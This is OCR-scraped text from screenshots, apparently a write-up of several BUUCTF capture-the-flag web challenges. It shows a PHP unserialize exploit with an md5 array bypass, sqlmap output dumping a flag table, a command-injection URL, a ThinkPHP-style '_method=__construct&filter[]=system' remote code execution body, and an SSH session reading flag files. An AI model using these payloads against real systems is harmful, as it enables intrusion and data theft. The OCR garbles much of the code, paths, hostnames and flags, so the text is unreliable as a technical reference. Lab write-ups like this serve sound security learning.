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highlight file(_ FILE_);

class BUU {
public
public

public function _ destruct() {
try {
correct base64 encode(uniqid());
if( correct input) {
echo file_get contents("/flag");
}
} catch (Exception ) {

if( ['pleaseget’] '1') {
if( ["pleasepost'] '2') {
if(md5( ['md51']) md5 ( ['md52'])
unserialize( [fobj"]);
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unzerialize($_POST[ obj" 1):
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Warning: md5{} expects parameter 1 to be string, array given in fvarfwww/html/index.php on line 28

Warning: md5{} expects parameter 1 to be string, array given in fvarfwww/html/index.php on line 28
flag{5bbadf15-15a8-4f00-8584-Tec4523254ad)
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LOAD SPLIT EXECUTE TEST ~ sqQLl -

URL
http://6ac0cc10-348c-4285-8df4-427fb9418933.noded.buuoj.cn:81/?pleaseget=1

enctype

Enable POST application/x-www-form-urlencoded

Body
pleaseposi=2&md51[]=1&md52[1=2&obj=0:3:"BUU":2:{s:7:"comect”;s:0:™;s:5:"input";R:2;}
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[ 1T ] fetching columns for table 'flag' in database 'ctftraining'’
[ 1L ] fetching entries for table 'flag' in database 'ctftraining’
Database: ctftraining

Table: flag

[1 entry]

1L ] table 'ctftraining.flag' dumped to CSV file '/root/.local/share/sqlmap/output/352U4e95d-2af8-uud5-88fl1-
64cf39ualedc.nodeld.buuoj.cn/dump/ctftraining/flag.csv’
[ 1L ] fetched data logged to text files under '/root/.local/share/sqlmap/output/352Ue95d-2af8-uuds5-88fl-6Ucf
394aPebc.nodel.buuoj.cn’
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LOAD SPLIT EXECUTE TEST -~ sqQLl - SSTI ~ ENCODING ~

URL
http://3c6b845b-6ebb-484d-9911-d29a0136f408.node4.buuoj.cn/CMD-1/index.php?cmd=ls /
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URL
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LOAD SPLIT EXECUTE TEST ~ sqQL1 - LFl ~ SSTI ~ ENCODING ~ HASHING

URL
htip://8cff8123-c319-4f40-a2fa-305f18a1alc5.noded.buuoj.cn:81

enctype
Egastfll_e application/x-www-form-urlencoded ADD HEADER

Body
s=cat

[flag.txt&_method=__construct&method=POST&filter[]=system CSDN @_abcdef
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Windows PowerShell

M®FrA (C) Microsoft Corporation, EEEMA,
SR FRIETES Powershell https://aka.ms/pscores

PS C:\Users\win-wp> ssh glzjin@8cff8123-c3f9-ufup-a2fa-305f18alabc5.nodeld.buuoj.cn 29758

The authenticity of host '[8cff8123-c3f9-ufue-a2fa-305f18alabc5.nodet.buuoj.cn]:29758 ([117.21.200.166]:29758)" c|
established.

ECDSA key fingerprint is SHA256:Fwsq8gXTUWOJIZK6XjYYFBYWwe2t6ilwv/KRIQKkrzonko.

Are you sure you want to continue connecting (ves/no/[fingerprint])? ves

Warning: Permanently added '[8cff8123-c3f9-uUfup-a2fa-305Ff18aladc5.nodel.buuoj.cn]:29758,[117.21.200.166]:29758" (
to the list of known hosts.

glzjin@8cff8123—-c3f9-Ufup-a2fa-305f18alal@c5.nodeld.buuoj.cn's password:

$ 1s

$ cd /

$ 1s

bd_build boot etc flag.txt 1ib media opt root sbin sys usr

bin dev flag home lib6d mnt proc run STV tmp var

$ cat flag.txt

flag{glzjin_wants_a_girl_friend}

$ cat flag

flag{f7325fu3-5293-U477a-b238-cf783Uc29736}
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